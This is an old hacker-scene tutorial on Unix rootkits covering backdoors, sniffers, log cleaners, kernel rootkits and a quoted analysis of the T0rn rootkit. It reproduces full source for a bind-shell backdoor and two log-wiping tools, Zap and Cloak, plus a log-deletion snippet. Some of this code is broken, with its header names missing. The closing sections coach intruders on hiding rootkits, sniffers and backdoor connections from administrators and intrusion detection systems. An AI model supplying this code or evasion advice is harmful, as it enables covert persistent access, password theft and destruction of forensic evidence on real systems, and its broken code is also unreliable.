|
Table of Contents
01. - What is a rootkit?
02. - Hacker Jargon definition
03. - Hackers or the kids?
04. - Who uses rootkits and why?
05. - The language rootkits are coded in
06. - Different types of rootkits
07. - Backdoors
08. - Sniffers
09. - Cleaners (Log bashers)
10. - Rootkit extra utilities
11. - Kernel rootkits (more detail)
12. - How the kernel works
13. - Analyzing an Application rootkit "T0rn"
14. - A variety of hiding methods: Hiding a Sniffer; Hiding
network connections; Hiding a backdoor
15. - Recommended reading and useful links
16. - Credits
1 - What is a root kit?
A rootkit is a program. Rootkits come in all different shapes and styles, some
more advance than others. Rootkits are basically programs that help attackers
keep their position as root. Notice it's called a "rootkit". 'root'
meaning the highest level of administration on *nix based systems and 'kit'
meaning a collection of tools. Rootkits contain tools which help attackers hide
their presence as well as give the attacker full control of the server or host
continuously without being noticed.
Rootkits are usually installed on systems when they have been successfully
compromised and the highest level of access has been given (usually root) Some
rootkits refuse to be installed until the attacker has root access, due to read
and write permission to certain files. Once the system has been successfully
compromised and the attacker has root, he\she may then install the rootkit,
allowing them to cover their tracks and wipe the log files.
A typical rootkit consists of the following utilities (Note: We will look at
these in a lot more detail later on):
- Backdoor Programs - login backdoors, telnetd etc
- Packet Sniffers - Sniff network traffic such as FTP, TELNET,POP3
- Log-Wiping Utilities - Bash the logs to cover tracks
- DDoS Programs - Turn the box into a DDoS client (Remember trinoo?)
- IRC\Bots - Bots used to take over IRC channels (Lame and annoying)
- Miscellaneous programs - May contain exploit, log editor
(Don't worry to much if you don't understand any of the above, as I said were
look at this all in a lot more detail further down)
2 - Hacker Jargon Definition
Oh Hail the mighty hacker jargon!
This is what the "Hacker Jargon" says about the word "rootkit"...
"rootkit: /root´kit/, n.
[very common] A kit for maintaining root; an automated cracking tool. What script
kiddies use. After a cracker has first broken in and gained root access, he
or she will install modified binaries such as a modified version login with
a backdoor, or a version of ps that will not report the cracker's processes).
This is a rootkit."
Wow! that's amazing! We worship you hacker jargon! Thank you ever so much for
explaining to me what a rootkit is!
Remember kidz, all you have to do is read out some cool urban HaX@r words out
the jargon to your friends and they will think your really c00l! and 1337! ;-)
3 - Hackers or the Kids?
Now the question you are probably asking yourself is "Is a rootkit a hackers
tool or just another script kiddies tool?" (Well, you may not be thinking
that, maybe I just suck and my psychology skills are as good as yours..) Well,
the "Hacker Jargon" defines a rootkit and a script kiddies tool and
to some extend he\she\they\IT is right (The jargon is always right)
Rootkits don't really require that much skill to run or use. Most rootkits
can be compiled like this...
gcc t0rn.c -o rootkit
then...
./rootkit
(Now obviously when compiling all "hacker" tools you need to chose
a name which disguises it's purpose, so rootkit would be a really stupid choice)
However there are some rootkits that require more skill to run and use. Some
rootkits require you to edit the source code before it's compiled and some even
need you to edit the iptables and kernel. (Very advance ones, they used one
at the "Black Hat Conference" in 2002)
So, rootkits are used by both hackers and script kiddies. I personally believe
that a hacker would have to write his own rootkit to call himself a hacker not
just run and use someone else code. (However that’s just my opinion, so
don't hold me to that!)
4 - Who uses rootkits and why?
I have already really covered this in the previous sections, however for the
forgetful types I shall explain again, just to summaries up what we have learnt
so far...
Hackers and script kiddies use rootkits, they use them to maintain root and
cover their tracks. Script kiddies lack knowledge of *how* a rootkit really
works and most often they will end up deleting key binary files. (Basically,
script kiddies will let you know when they have compromised your system)
Rootkits are only installed when the system has been compromised and root has
been gained.
I don't really want to go into any more detail, because I'll end up just repeating
myself. Lets just move on...
5 - The Language rootkits are
coded in
Hmmm, well this isn't going to be short...
Most rootkits are coded in C or Assembly (Shell code). Most of the well-known
rootkits are coded in C so the attacker can edit the source code to fit its
target specification. (E.g. The logs files could be stored in a different location)
6 - Different types of rootkits
At the current time of writing there are 2 main types of rootkits.
Application rootkits - Established at the application layer
Kernel rootkits - Established at the kernel level (Core of any OS)
When I say "established" this could be referred to of where exactly
the rootkit hides. Now lets start of my looking at an application rootkit.
An application rootkit is basically a rootkit which "replaces" all
the well know system binary files (ls, netstat, killall) with "fake"
or "Trojanned" ones. The trojanned or fake system files will help
hide the attackers presence, report false information to the system administrator
and even provide a Backdoor for the attacker. To help you understand this more
I have provided a list of all the typical system files, which are "replaced"
to, help the attacker cover his or her tracks. The list was taken from "Rootkit:
Attacker Undercover Tools" by Sailman Manap.
LIST START....
Programs replace to hide attacker presence.
- "ls", "find", "du"
- Trojaned system file will be able to hide attackers file, directory and
stuff that have been brought into the system from being listing.
- "ps", "top", "pidof"
- All these programs are process monitor program. Trojaned program will hide
attacker process from being listing.
- "netstat" - netstat is used to check network
activity such as open port, network connections establish and listening. Trojaned
netstat will hide processes installed by attacker such as ssh daemon or other
services.
- "killall" - Trojaned "killall" will
not be able to kill attacker process.
- "ifconfig" - When sniffer is running PROMISC
flag is set to the nic. "ifconfig" is a handy utility to set and
to view setting of ethernet nic. Trojaned "ifconfig" will not display
the PROMISC flag when sniffer is running. This is useful to hide sniffer from
being detected.
- "crontab" - Trojaned "crontab" will
hide the attacker’s crontab entry.
- "tcpd", "syslogd"
- Trojanised "tcpd" and "syslog" will not log any connection
made by attacker. "tcpd" also capable to bypass tcp wrapper enforcement.
LIST END
Hopefully, that would should have given you a better idea of what an Application
is. Remember, this section has only be written so you can distinguish the differences
between a "Application" rootkit and "Kernel" rootkit. Lets
now take a look at a Kernel rootkit.
A Kernel rootkit is a rootkit that buries itself deep in the Kernel. This makes
it extremely hard to detect and remove. Kernel rootkits are more advance then
Application rootkits, A Kernel rootkit works by exploiting and manipulating
Kernel capabilities. Now I don't really want to go in much more detail on Kernel
rootkits because they can get quite advance (Well, they ARE) were talk about
them later in this file, it may also help to look at "2.7 - How the kernel
works" to get a feel for these Kernel rootkits...
It's now time to move on. In the next section (Section 2) We look at all the
elements which make up a rootkit, such as a Backdoor, Sniffer, log basher etc
Half way through section 2 we will then look at "Kernel Rootkits"
in more detail.
7 - Backdoors
Most of today’s (decent) rootkits contain "Backdoors". Now
you should all know what a Backdoor is but just in case you didn't I will quickly
give a brief explanation of all.
Backdoor - A program or script which allows an attacker to establish some form
of privilege and remote communication without logging into the system. Backdoors
are usually installed when the system has been successfully compromised and
some form of exploit has been entailed. The advantage of installing a backdoor
on a system means that the attacker doesn't have to keep using the same exploit
over and over again. The disadvantage of installing a backdoor means at one
point or another the system administrator will notice suspicious activity in
his network traffic, if he or she were to run a port scanner such as Nmap (Coded
by Fyodor http://www.insecure.org) he or she would soon uncover an open port
and sooner or later remove the backdoor.
A typical example of a Windows NT\2000 backdoor is one entitled "Tini.exe"
(Made by NTSecurity) This little program listens on port 7777 for incoming connections,
once a connection has been established a remote command shell is executed for
the attacker who establishes the connection. (Now as I have mentioned this t-file
generally deals with *nix backdoors, so I don't really want to get side stepped
talking about windows backdoors, exploits etc I thought I'd just mention tini.exe
to give you a general idea of what a Backdoor consists of.
Now lets talk more about *Nix backdoors. *nix backdoors come in *many* shapes
and sizes. The paper by Sailman Manap gives yet another long comprehensive list
of all the forms backdoors come in...
LIST START
- Login Backdoor - Modifying login.c to look for backdoor
password before stored password. Attacker can log into any account using backdoor
password.
- Telnetd Backdoor - Trojaned the "in.telnetd"
to allow attacker gain access with backdoor password.
- Services Backdoor - Replacing and manipulate services like
"ftp", "rlogin", even "inetd" as backdoor to
gain access.
- Cronjob backdoor - Backdoor could also be added in "crontjob"
to run on specific time for example at 12 midnight to 1 am.
- Library backdoors - Almost every UNIX and Windows system
have shared libraries. Shared libraries can be backdoor to do malicious activity
including giving a root or administrator access.
- Kernel backdoors - This backdoor is basically exploiting
the kernel, which is core of the operating system to handle and to hide backdoor
effectively
- Network traffic backdoors which typically using TCP, UDP, and ICMP
- Backdoor that exploiting network traffic protocol is widely used. In TCP
protocol backdoor like ssh is popularly used because it communicate in encrypt,
while crafting and tunneling packet In UDP and ICMP traffic will give a better
chances escaping from firewall and "netstat".
LIST END
All of these and any other forms of *nix backdoors are explained and documented
by Christopher Klaus, his paper can be
Reached at http://secinf.net/info/unix/backdoors.txt,
I strongly recommend you check it out if you are either really interested in
Backdoors or you still haven’t grasped the basic concepts of Backdoors.
I have also written a small file on Backdoors entitled "A Crash Course
in Backdoors" it is available at http://www.invisibleghosts.net
To finish of this section on backdoors, I feel like adding some source code.
(This is a basic TCP Backdoor for *nix if you don't own a copy of linux or unix
don't even attempt to compile this ;-)
I did not write this, shaun2k2 did, so please give ALL credit for the below
source code to him.
----START-----------------------------
/* backdoor.c - basic unix tcp backdoor.
*
* This is a basic UNIX TCP backdoor. /bin/sh is binded to the port of your
* choice. Access the shell with telnet or netcat:
*
* root# nc -v hackedhost.com 1337
*
* I do not take responsibility for this code.
*/
#include
#include
#include
#include
#define BACKLOG 5
#define SHELL '/bin/sh'
void usage();
int main(int argc, char *argv[]) {
if(argc <2) {
usage(argv[0]);
}
int sock, csock;
struct sockaddr_in client;
struct sockaddr_in mine;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf('Couldn't make socket!\n'); exit(-1);
}
mine.sin_family = AF_INET;
mine.sin_port = htons(atoi(argv[1]));
mine.sin_addr.s_addr = INADDR_ANY;
if(bind(sock, (struct sockaddr *)&mine, sizeof(struct sockaddr)) == -1) {
printf('Could not bind socket!\n');
exit(-1);
}
if(listen(sock, BACKLOG) == -1) {
printf('Could not listen on socket!\n');
exit(-1);
}
printf('Listening for connections on port %s!\n', argv[1]);
while(1) {
int sin_size;
sin_size = sizeof(struct sockaddr);
csock = accept(sock, (struct sockaddr *)&client, &sin_size);
dup2(csock, 0);
dup2(csock, 1);
dup2(csock, 2);
execl('/bin/sh','/bin/sh',(char *)0);
close(csock);
}
}
void usage(char *progname[]) {
printf('Usage: %s \n', progname);
exit(-1);
}
-------END---------------------------------------
The main purpose of me showing you this source is to give you a general idea
of what a rootkit consists of. Remember rootkits come in many shapes and sizes
and every rootkit is most likely to contain some form of Backdoor...
So what else do rootkits contain apart from Backdoors? Lets move on to the
next section and look at "Sniffers".
8 - Sniffers
A lot of today’s rootkits contain programs known as "Sniffers".
What are Sniffers? (Also known as Packet Sniffers)
Basically packet Sniffers are programs that are made to "Monitor"
network traffic, TCP\IP or any other network device. I'm sure you know when
you are browsing the Internet or playing online games "Packets" of
data are going to and from your Computer. Attackers install Sniffers so they
can capture valuable information which is floating to and from your computer.
What type of valuable information?
Here is a list of what a Sniffer is capable of...
- Sniffing FTP passwords
- Sniffing Telnet passwords
- Sniffing Network passwords
- Sniffing POP3 passwords
- Capturing websites you have visited
- Sniffing Gateways
- Lots more
Some of you may be thinking "Won't my passwords been encrypted as they
are passing over my network?" To some extent this is true, some services
provide encryption (Such as E-mail if you were using PGP sniffing would be useless,
unless of course your a good cryptographer)
Other services such as ftp and telnet transfer their passwords in plain text,
so it would be easy for an attacker to just capture the packet then dump it
into a text editor (such as "vi", "Pico" or for M$ notepad)
it would only take a couple of minutes for an attacker to uncover the plain
text password.
Now there is a technical side to Sniffers that I don't really want to go into.
For more information on Sniffers please read http://www.sans.org/infosecFAQ/switchednet/sniffers.htm
this paper was written by a "Jason Drury" and I have found it most
useful. If you are more interested in Windows Sniffers then I can recommend
getting a copy of the following....
- Windows Sniffer
- TcpDump
- Password Capture --------> Made especially to sniff passwords
- Sniff
- Ethereal
- EtherPeep
My personal favorite Sniffer for Windows has to be TCPDump it's command line
driven so the scripties wouldn't go near it but for those truly interested in
the elements of computer hacking I would recommend TCPDump, it will take time
getting used to it but its worth it.
Now what about linux sniffers.. Hmmmm I'll be honest with you I haven’t
had much experience using linux Sniffers, but I have been told there are some
good tutorials on how to make your own Sniffer for *nix on http://www.planetsourcecode.com,
however before you even attempt to make your own I strongly recommend you get
into socket programming. If you want a read made Sniffer just google for one,
a common one is "linsniffer.c"
Anyway back to the main point, most rootkits DO sometimes contain "ready
to run" Sniffers and Sniffers are hard to detect once they are running.
(Were look at this a little later) The purpose of this section was just to show
you WHAT a Sniffer is.. Now you know lets move on :-)
9 - Cleaners (Log Bashers)
Ah, we come to something a lot simpler, Log Bashers :-) (Also known as Log
deleters, Log killers and Log Cleaners)
No matter what the title they all do the same thing. Delete system log files.
System Administrators rely on logging as an extra form of security. Log files
can keep track on who logged in last and at what type, what programs were run
as that user was logged in etc etc. Therefore it is exceptionally important
for the attacker to destroy ALL traces of log files. Now, some of you may be
thinking:
"If all the Log files are deleted won't this give an indication to the
system administrator that there box has been hacked?"
If you’re thinking that, then your dead right. Deleting the log files
can sometimes be pretty stupid, the best way to get around the log files is
to "edit" the entries by deleting your entries and filling in some
false ones (Sometimes this requires root access, but if your running a log cleaner
of a rootkit you should already have root :-)
Another way around this is to delete the whole log file then to "re-create"
them. Here is a VERY simple script I made to demonstrate what I mean...
-------START------
int main()
system("rm-rf /root/logs/LastEntry.log");
touch(" /root/Logs/LastEntry.log");
return 0;
-------END--------
Now for those who don't know any C then I shall I explain. The first main line
of the code is telling the C program to remove the file LastEntry.log, delete
it. The second line is telling the program to create a file called LastEntry.log
in the exact same location.
So when the system administrator opens the log file he will be confronted with
a blank file. (This may be a bit stupid because if the admin is security minded
he will know the system has been compromised. Some stupid admins see it as a
'Bug' therefore you get away with it.)
Most rootkits contain some form of log-cleaner, but before you execute it you
need to make sure you know exactly HOW it works, otherwise your just another
script kiddie who "presumes" this tool will cover your tracks completely.
Some log cleaners search certain directories for words like "IP" "Login",
"Logs", "Log" etc and then delete them. Some just delete
all the default log files that are in the default system location. Before you
compile a rootkit learn C and take a look at the source code you may find you
need to edit some of the entries. It's important you come FULLY prepared before
you go out and install your rootkit.
I'll tell you now, I have been in this game long enough to realize even if
you successfully edit\Delete a bunch of log files it doesn't mean you’re
untraceable. You still need to think about system programs which are running,
which may have their own logging capabilities. Look out for IDS (Intrusion Detection
Systems) such as SNORT and look out for programs like Tripwire and any other
security programs which
monitor\analyze system security.
As more and more people become security minded so do there software and "security
awareness" system administrators are getting clever, so be careful!
I'll end this section now with some source for some well known log cleaners,
I would strongly recommend not using them though, since they are fairly old.
I'm only using them to show you what typical log cleaners are (used to be) like.
Just because they are old though doesn't mean they don't work ;-) I'm just pretty
sure if you Google about you can find MUCH better ones.
This is a very old log cleaner called "Zap" the source code is below..
----START----
#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME '/usr/adm/wtmp'
#define UTMP_NAME '/etc/utmp'
#define LASTLOG_NAME '/usr/adm/lastlog'
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf('%s: ?\n',who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf('Zap2!\n');
} else
printf('Error.\n');
----END----
Here is another little log cleaner called Cloak v1.0 it wipes your presence
on SCO, BSD, Ultrix, and HP/UX UNIX. This program is *old* and was written by
Wintermute of -Resist-.
-------START-------
/* UNIX Cloak v1.0 (alpha) Written by: Wintermute of -Resist- */
/* This file totally wipes all presence of you on a UNIX system*/
/* It works on SCO, BSD, Ultrix, HP/UX, and anything else that */
/* is compatible.. This file is for information purposes ONLY!*/
/*--> Begin source... */
#include
#include
#include
#include
#include
main(argc, argv)
int argc;
char *argv[];
{
char *name;
struct utmp u;
struct lastlog l;
int fd;
int i = 0;
int done = 0;
int size;
if (argc != 1) {
if (argc >= 1 && strcmp(argv[1], 'cloakme') == 0) {
printf('You are now cloaked\n');
goto start;
}
else {
printf('close successful\n');
exit(0);
}
}
else {
printf('usage: close [file to close]\n');
exit(1);
}
start:
name = (char *)(ttyname(0)+5);
size = sizeof(struct utmp);
fd = open('/etc/utmp', O_RDWR);
if (fd < 0)
perror('/etc/utmp');
else {
while ((read(fd, &u, size) == size) && !done) {
if (!strcmp(u.ut_line, name)) {
done = 1;
memset(&u, 0, size);
lseek(fd, -1*size, SEEK_CUR);
write(fd, &u, size);
close(fd);
}
}
}
size = sizeof(struct lastlog);
fd = open('/var/adm/lastlog', O_RDWR);
if (fd < 0)
perror('/var/adm/lastlog');
else {
lseek(fd, size*getuid(), SEEK_SET);
read(fd, &l, size);
l.ll_time = 0;
strncpy(l.ll_line, 'ttyq2 ', 5);
gethostname(l.ll_host, 16);
lseek(fd, size*getuid(), SEEK_SET);
close(fd);
}
}
-----END-----
10 - Rootkit Extra Utilities
I will try and keep this section short due to there isn't really that much
to say. As you should know by now and as I have mentioned rootkits come in all
shapes and styles. Some rootkits are well known for their advance log cleaner,
others for their advance Backdoor and others for their advance, stealth hard
to remove installation procedure.
There are some rootkits which are well known for being SAR (Swiss Army Rootkits)
basically, they are rootkits with average features plus a whole load of extra
utilities such as Bots, DdoS, Extra scripts, Password crackers, Killer scripts
etc
Rootkits that contain scripts that cause DDoS attacks are considered dangerous;
if an attacker were to exploit 100's of servers and install such a rootkit those
servers would then become "Zombies" they could launch DDoS attacks
(SYN, PING, FINGER, UDP, TCP) against chosen targets. Rootkits are continuously
being made more advance and extra utilities are being added on each time. In
the future I personal predict that rootkits will be a major threat to national
security.......
That’s really all I have to say for this section. Lets move on.
11 - Kernel Rootkits (More Detail)
We have already briefly looked at "Kernel Rootkits" but we haven’t
really looked at them in close detail. In this section I plan to analyze and
expose the basics of a kernel rootkit. If you’re not to sure on what the
"Kernel" is I recommend you skip this section and move onto the next
section (2.5) then come back to this section when you feel that you are ready.
The best way to start of this section is talk about how Kernel rootkits actually
work. Kernel rootkits work, basically by exploiting LKM. (Loadable Kernel Modules)LKM
are used to load device drivers on a "as-needed" bases. LKM are usually
only exploited so the attacker can perform malicious activity.
Kernel rootkits are way more dangerous than Application rootkits because instead
of just replacing the basic binaries like "ls" and "netstat"
they attack the kernel directly and manipulate system-calls like open() and
read(). As we know application rootkits replace binaries, if the administrator
was clever and analyzed the actual binaries which had been replaced they will
realize the differences in size (e.g. the program could contain an extra 128
bytes) However, this wouldn't be possible with Kernel rootkits because instead
of actually changing the size and structure of the program, they just change
the way the program operates. For example programs like "ps" use an
open system call "open()" and reads information from files in the
directory /proc, where also the information about running processes is kept.
For more information on rootkits and to mess about with typical examples of
each rootkit type...
Considering obtaining a copy of..
Application rootkit - t0rn
Kernel rootkit - Adore (Also known as LKM-Adore)
12 - How the Kernel Works
This will be a very basic and very short section and is only here to help
those understand how the Kernel works.
What is a Kernel? In English and using non-technical jargon a Kernel is basically
the "Core" of the OS (Linux, Unix, Windows). Without the Kernel an
Operating System could not load.
The Kernel is one of the first things which load in a OS and it remains in
the main memory. Since it's staying in the main memory its *very* important
for the Kernel to be as small as possible, but at the same time be able to provide
all the essential programs, services, devices, applications and drivers for
the OS.
Typically, the kernel is responsible for I/O(Input and Output) management, Device
drivers, CPU management, process and task management, and disk management.
The kernel looks something like this....
|------------------
|Applications and | - LKM - System Calls
|_Programs_ _ _ _ |
*******************
* MAIN KERNEL * - Consists of: Memory Management
* * I\O Management
******************* CPU Management
| Hardware | Device Drivers
|_ _ _ _ _ _ _ _ _ |
Understand? Quite simple really...
13 - Analyzing an Application
Rootkit "T0rnkit"
This is a professional analysis of the rootkit "T0rn" this was taken
of off Mcaffe's main site.
"T0rnkit attempts to hide its presence when installed. During installation
it first shuts down the system-logging daemon, syslogd. It then replaces several
other system executables with trojanized versions and adds a trojanized ssh
daemon to the system as well. Programs that are replaced are, among others;
du, find, ifconfig, login, ls, netstat, ps, sz and top. If the system administrator
uses these somewhat vital functions they report normal looking information,
but the processes and network connections that the hacker uses aren't shown.
Finally T0rnkit starts a Sniffer in background, enables telnetd, rsh and finger
daemons in "/etc/inetd.conf", restarts inetd to activate changes made
and starts syslogd again. This all without the system administrator knowing
about it.
Noteworthy is that all new programs in the t0rnkit all have the exact size of
31.336 bytes. T0rnkit usually can be found in the directory /usr/src/.puta,
but of course not if it already has been activated because the command 'ls'
will have been replaced. With the standard installation of t0rnkit TCP port
47017 is open for root access to the system. A modified version of this rootkit
was also distributed by a variant of Unix/Lion worm.
A system administrator that is a little bit into the security world can find
a with t0rnkit infected system pretty fast because of the change in file sizes
and a simple port scan will reveal the open port, but funny enough most people
don't have this 'expertise' "
14 - A variety of hiding methods
To finish off section two, I will give you some tips that I have found to
be useful when hiding certain features of a rootkit e.g. Backdoor, Sniffer etc)
Lets start by reviewing ways to successfully hide the actual rootkit...
To start off with, it would be a good idea to hide the compiled rootkit in
a hidden directory. I would recommend creating a directory you suspect the administrator
will not go near. For example try hiding it in a folder situated in /var/something/something/something
make it as long as possible and rename the file using the "mv" command
to something the admin will not suspect is a "suspicious" file (e.g.
Kernel-023, pso, ls2 etc)
Now when running the sniffer make sure you add the character "&"
behind of it, like this "lnsniffer&", the "&" tells
the system to continue running the program even when the user is logged out.
However, this does provoke a slightly higher risk. If you leave the Sniffer
running all day and the sysadmin logs in he may notice something is up if he
was to execute the "ps" command. Sniffers are great programs for getting
passwords, if a TCP Sniffer was installed on a regular Ethernet connection you
could capture a good 50 odd passwords!
The downside to Sniffers are they may need to be modified slightly before you
can run them, also some IDS programs can detect changes made to the Ethernet
card (e.g. When the card is switched into promiscuous mode the IDS will know
and alert the admin) :-(
Now if your running a "Kernel rootkit" its quite easy to hide the
Sniffer, because if the kernel rootkit is any good it should allow the Sniffer
to hide the promiscuous flag of the network interface. The system call to Trojan
in this case is sys_ioctl() (You don't really need to know that, unless your
planning on writing your own kernel rootkit)
"Hiding network connections" is another technique you may wish to
use. To sucessfully hide network connections it can be done by preventing the
system logging the activities
inside “/proc/net/tcp” and “/proc/net/udp”. The idea
for a kernel rootkit is to trojan the
sys_read() command. Whenever reading these two files and a line matching a unique
string, the system call will hide it from user.
The above techniques can then be brought together to successfully hide a backdoor.
Most backdoors you install will listen on a certain port, this informartion
is then logged into /proc/net/tcp and /proc/net.udp, you would need to manipulate
the sys_read() system call to sucessfully hide the backdoor.
Now it's important that you know using rootkits could be a very easy way to
get busted. There have been times when I have just gone into a system with a
custom made log cleaner and nothing else. System administrators are getting
quite clever and with the rapid growth of advance programs like "Promiscuous
Detectors" and "Chkrootkit" it's easy for the attacker to slip
up and get busted. Kernel rootkits are the best type of rootkits to use when
penetrating through a system but they are also the most complex and will require
patience and understanding before they can be put to any real use.
Before you just go out and install a bunch of rootkits on your "rooted
boxes" I would strongly recommend experimenting with them on your own box,
so you learn EXACTLY what they are doing. If you haven’t got a box to
practice on I recommend you download and install a copy of VMWare, NEVER take
risks! There is more to life than computers, don't mess your whole life up with
some stupid childish mistake!
Now I'm finished here with rootkits (Partly because my fingers are getting
tired) I hope you have learnt SOMETHING from this t-file. I am sorry that I
didn't really go into much detail about kernel rootkits, system calls and LKM's
or ways to protect yourself from such malicious software but this is the "First
Edition" I do eventually plan to develop this paper and continuously add
to it as rootkits develop but no promises ;-)
Hope you learnt something; I will finish off this paper by leaving with you
some useful links and recommended reading material.
15 - Recommended reading and
useful Links
Sunnie Hawkins, Understanding the Attackers Toolkit, January 13, 2001,URL:
http://www.sans.org/infosecFAQ/linux/toolkit.htm
Andrew R. Jones, A Review of Loadable Kernel Modules, June 12, 2001, URL:
http://www.sans.org/infosecFAQ/linux/kernel_mods.htm
Jason Drury, Sniffers: What are they and How to Protect From Them, November
11, 2000, URL:
http://www.sans.org/infosecFAQ/switchednet/sniffers.htm
DeokJo Jeon, Understanding DDOS Attack, Tools and Free Anti-tools with Recommendation,
April 7, 2001,URL: http://www.sans.org/infosecFAQ/threats/understanding_ddos.htm
Steve Gibson, The Strange Tale of the Denial OF Service Attacks Against GRC.COM,
Gibson
Research Corporation, Aug 31, 2001, URL: http://grc.com/dos/grcdos.htm
Black Tie Affair, Hiding Out Under UNIX, Volume Three, Issue 25, File 6 of
11, March 25,
1989, URL: http://www.phrack.org/show.php?p=25&a=6
Christopher Klaus, Backdoors, August 4 1997, URL: http://secinf.net/info/unix/backdoors.txt
Cra58cker, A Crash Course in Backdoors: http://www.invisibleghosts.net
16 - Credits
This paper couldn't have been put together if it wasn't for the following
people...
Daremo - Explained the procedure used to disassemble and trace an installed
rootkit.
Cra58cker - I wrote this ;-)
Invisible Ghosts - My inspiration
Sailmap Manap - I quotes him quite a lot
Invisible Evil - Helped with the hiding methods
Mcaffee - Provided the analysis of the "T0rn" rootkit
Author of T0rn - For giving me something to write about!
|
